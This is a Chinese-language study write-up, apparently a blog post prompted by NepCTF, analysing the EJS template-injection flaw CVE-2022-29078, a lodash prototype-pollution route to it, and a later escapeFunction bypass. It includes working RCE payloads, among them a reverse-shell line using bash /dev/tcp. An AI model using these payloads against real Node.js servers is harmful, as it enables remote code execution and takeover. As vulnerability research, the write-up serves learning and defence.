目录
学习并记录一下
CVE-2022-29078
ejs<=3.16
NodeJS 的 EJS(嵌入式 JavaScript 模板)版本 3.1.6 或更早版本中存在 SSTI(服务器端模板注入)漏洞。
该漏洞settings[view options][outputFunctionName]
在EJS渲染成HTML时,用浅拷贝覆盖值,最后插入OS Command导致RCE。
环境搭建
npm install ejs@3.1.6
npm install express
我是使用webstorm进行调试的,调试的话要稍微设置一下,不然跟进不了源码
app.js
const express = require('express');
const app = express();
const path = require('path');
app.set('view engine', 'ejs');
app.set('views', path.join(__dirname, 'views'));
app.get('/', (req, res) => {
// 渲染模板并传递数据
res.render('index', req.query );
});
app.listen(3000, () => {
console.log('Server is running on port 3000');
});
index.ejs
<html>
<head>
<title>Lab CVE-2022-29078</title>
</head>
<body>
<h2>CVE-2022-29078</h2>
<%= test %>
</body>
</html>
漏洞分析
模板注入分析
漏洞是有ejs造成的,所以我们直接锁定ejs的源码
我们查看Node_Modules
的 ejs/lib/ejs.js
文件,取看看req.query
是怎么进行传递的,主要看的是renderFile
,因为它的作用是解析文件生成HTML
exports.renderFile = function () {
var args = Array.prototype.slice.call(arguments);
var filename = args.shift();
var cb;
var opts = {filename: filename};
var data;
var viewOpts;
// Do we have a callback?
if (typeof arguments[arguments.length - 1] == 'function') {
cb = args.pop();
}
// Do we have data/opts?
if (args.length) {
// Should always have data obj
data = args.shift();
// Normal passed opts (data obj + opts obj)
if (args.length) {
// Use shallowCopy so we don't pollute passed in opts obj with new vals
utils.shallowCopy(opts, args.pop());
}
// Special casing for Express (settings + opts-in-data)
else {
// Express 3 and 4
if (data.settings) {
// Pull a few things from known locations
if (data.settings.views) {
opts.views = data.settings.views;
}
if (data.settings['view cache']) {
opts.cache = true;
}
// Undocumented after Express 2, but still usable, esp. for
// items that are unsafe to be passed along with data, like `root`
viewOpts = data.settings['view options'];
if (viewOpts) {
utils.shallowCopy(opts, viewOpts);
}
}
// Express 2 and lower, values set in app.locals, or people who just
// want to pass options in their data. NOTE: These values will override
// anything previously set in settings or settings['view options']
utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS);
}
opts.filename = filename;
}
else {
data = {};
}
return tryHandleCache(opts, data, cb);
};
看到这里
先判断长度是否存在进入第一个if
,然后拿掉数组第一个元素作为data
,再判断长度,第二个if
,args.pop()
获取数组中的最后一个元素, utils.shallowCopy
是将属性浅复制opts
对象中,我们不进入第二个if
,而是要进入else
往下看
这里data
是我们传入的数据而来,可控,那么强行插入setting['view options']
来设置,payload
如下:
http://127.0.0.1:3000?test=AAAA&settings[view%20options][A]=BBBB
然后进入
我们跟进shallowCopy
函数里面看看
这里就有点像merge
函数
看到compile这里
从代码中可以看出,opts
将outputFunctionName
的元素值取出prepended
并放入 中。
opts
值可控,outputFuntionName
也可控,那么可以构造payload
127.0.0.1:3000?test=AAAA&settings[view%20options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('calc');x
那么pretended
就为
var x;process.mainModule.require('child_process').execSync('calc');x = __append;
原型链污染
npm install lodash@4.7.12
ejs
var express = require('express');
var lodash = require('lodash');
var ejs = require('ejs');
var app = express();
//设置模板的位置与种类
app.set('views', __dirname);
app.set('views engine','ejs');
//对原型进行污染
var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
lodash.merge({}, JSON.parse(malicious_payload));
//进行渲染
app.get('/', function (req, res) {
res.render ("index.ejs",{
message: 'Ic4_F1ame'
});
});
//设置http
var server = app.listen(8000, function () {
var host = server.address().address
var port = server.address().port
console.log("应用实例,访问地址为 http://%s:%s", host, port)
});
index.ejs
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<h1><%= message%></h1>
</body>
</html>
跟进,到response.js
的app.render
函数
继续跟进到(view, renderOptions, done);
看看tryRender
函数的实现,是调用view.render(options, callback);
跟进render
函数,这里调用this.engine
函数
跟进this.engine(this.path, options, callback);
这里我们就进入了上面分析的模板渲染引擎ejs.js
里面
继续跟进return tryHandleCache(opt,data,cb);
跟进tryHandleCache
,调用handleCache
方法,传data参数
跟进handleCache
,调用渲染模板的compile
方法
这里调用了templ.compile()
方法,继续往下跟
payload合集
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2"}}
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec('calc');var __tmp2"}}
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');var __tmp2"}}
CVE-2022-29078 bypass
环境搭建
ejs <= v3.1.9
const express = require('express');
const app = express();
const PORT = 3000;
app.set('views', __dirname);
app.set('view engine', 'ejs');
app.get('/', (req, res) => {
res.render('index', req.query);
});
app.listen(PORT, ()=> {
console.log(`Server is running on ${PORT}`);
});
漏洞分析
payload
?settings[view%20options][escapeFunction]=console.log;this.global.process.mainModule.require(%27child_process%27).execSync("touch /tmp/3.txt");&settings[view%20options][client]=true
前面的链子基本相同,不同的是最后的拼接
if (!this.source) {
this.generateSource();
prepended +=
' var __output = "";\n' +
' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
if (!_JS_IDENTIFIER.test(opts.outputFunctionName)) {
throw new Error('outputFunctionName is not a valid JS identifier.');
}
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
if (opts.localsName && !_JS_IDENTIFIER.test(opts.localsName)) {
throw new Error('localsName is not a valid JS identifier.');
}
if (opts.destructuredLocals && opts.destructuredLocals.length) {
var destructuring = ' var __locals = (' + opts.localsName + ' || {}),\n';
for (var i = 0; i < opts.destructuredLocals.length; i++) {
var name = opts.destructuredLocals[i];
if (!_JS_IDENTIFIER.test(name)) {
throw new Error('destructuredLocals[' + i + '] is not a valid JS identifier.');
}
if (i > 0) {
destructuring += ',\n ';
}
destructuring += name + ' = __locals.' + name;
}
prepended += destructuring + ';\n';
}
if (opts._with !== false) {
prepended += ' with (' + opts.localsName + ' || {}) {' + '\n';
appended += ' }' + '\n';
}
appended += ' return __output;' + '\n';
this.source = prepended + this.source + appended;
}
if (opts.compileDebug) {
src = 'var __line = 1' + '\n'
+ ' , __lines = ' + JSON.stringify(this.templateText) + '\n'
+ ' , __filename = ' + sanitizedFilename + ';' + '\n'
+ 'try {' + '\n'
+ this.source
+ '} catch (e) {' + '\n'
+ ' rethrow(e, __lines, __filename, __line, escapeFn);' + '\n'
+ '}' + '\n';
}
else {
src = this.source;
}
if (opts.client) {
src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
if (opts.compileDebug) {
src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
}
}
if (opts.strict) {
src = '"use strict";\n' + src;
}
if (opts.debug) {
console.log(src);
}
if (opts.compileDebug && opts.filename) {
src = src + '\n'
+ '//# sourceURL=' + sanitizedFilename + '\n';
}
try {
if (opts.async) {
// Have to use generated function for this, since in envs without support,
// it breaks in parsing
try {
ctor = (new Function('return (async function(){}).constructor;'))();
}
catch(e) {
if (e instanceof SyntaxError) {
throw new Error('This environment does not support async/await');
}
else {
throw e;
}
}
}
else {
ctor = Function;
}
fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);
}
catch(e) {
// istanbul ignore else
if (e instanceof SyntaxError) {
if (opts.filename) {
e.message += ' in ' + opts.filename;
}
e.message += ' while compiling ejs\n\n';
e.message += 'If the above error is not helpful, you may want to try EJS-Lint:\n';
e.message += 'https://github.com/RyanZim/EJS-Lint';
if (!opts.async) {
e.message += '\n';
e.message += 'Or, if you meant to create an async function, pass `async: true` as an option.';
}
}
throw e;
}
// Return a callable function which will execute the function
// created by the source-code, with the passed data as locals
// Adds a local `include` function which allows full recursive include
var returnedFn = opts.client ? fn : function anonymous(data) {
var include = function (path, includeData) {
var d = utils.shallowCopy(utils.createNullProtoObjWherePossible(), data);
if (includeData) {
d = utils.shallowCopy(d, includeData);
}
return includeFile(path, opts)(d);
};
return fn.apply(opts.context,
[data || utils.createNullProtoObjWherePossible(), escapeFn, include, rethrow]);
};
if (opts.filename && typeof Object.defineProperty === 'function') {
var filename = opts.filename;
var basename = path.basename(filename, path.extname(filename));
try {
Object.defineProperty(returnedFn, 'name', {
value: basename,
writable: false,
enumerable: false,
configurable: true
});
} catch (e) {/* ignore */}
}
return returnedFn;
},
opts.outputFunctionName
、opts.localsName
、opts.destructuredLocals
想要拼接进 src
的话要通过 正则的 白名单处理
但是,还是有元素没有被正则过滤,这就是 opts.escapeFunction
也就是说,当 opts.client
不为空的情况下,opts.escapeFunction
的值就能直接拼接到 src
当中,从而实现任意代码执行。
src的值
命令执行
总结
nepctf上遇到的,顺便学习一下